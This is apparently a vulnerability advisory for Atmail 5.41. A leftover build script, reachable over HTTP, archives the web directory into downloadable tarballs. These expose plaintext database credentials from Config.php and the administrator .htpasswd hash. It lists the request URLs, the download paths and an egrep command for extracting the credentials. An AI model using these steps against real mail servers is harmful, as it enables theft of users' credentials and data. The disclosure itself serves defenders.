Atmail Remote Authentication Bypass, Full DB Compromise

@Mail PHP Version 5.41 patch Release
http://atmail.com/demo/atmailphpdemo.tgz


The default install of Atmail 5.41 creates the following
file in the atmail/ directory: build-plesk-upgrade.php

If that file is called via http, such as: http://example.com/atmail/build=
-plesk-upgrade.php
it will execute on the local server as expected:

nobody   19495 11.3  0.0 22572 8908 ?        S    17:25   0:00 /usr/bin/p=
hp /usr/local/apache/htdocs/atmail/build-plesk-upgrade.php

producing numerous warnings and errors:

building @Mail-Plesk Pro upgrade
Warning: mkdir() [function.mkdir]: Permission denied in /usr/local/apache=
/htdocs/atmail/build-plesk-upgrade.php on line 32
making . dir... making /usr/local/atmail-plesk-upgrade/.

and when complete the following files will exist:

/usr/local/apache/htdocs/atmail:
-rw-r--r--  1 nobody nobody 101754880 Jul 30 17:26 files.tar
-rw-r--r--  1 nobody nobody  27162656 Jul 30 17:26 plesk-atmail-upgrade.t=
gz

Those files are the contents of the atmail/ directory. The plesk-atmail-u=
pgrade.tgz
only contains the files.tar file.



Either file could then be downloaded:

http://example.com/atmail/files.tar
http://example.com/atmail/plesk-atmail-upgrade.tgz

or copied to another directory on the server for browsing through. The in=
formation
contained in those files includes the Atmail Config.php file which stores=
 the Atmail
database username, password, and database server hostname in plain text:

$ egrep 'sql_(user|host|pass)' libs/Atmail/Config.php
  'sql_host' =3D> 'localhost',
  'sql_pass' =3D> '43s2H4N55X',
  'sql_user' =3D> 'atmail',

This information could then be used to access the Atmail database to obta=
in client credentials,
such as email addresses, usernames, passwords, session IDs, and more.

Also in the files.tar file is the webadmin/.htpasswd file, which contains=
 the administrator
user's username and password hash.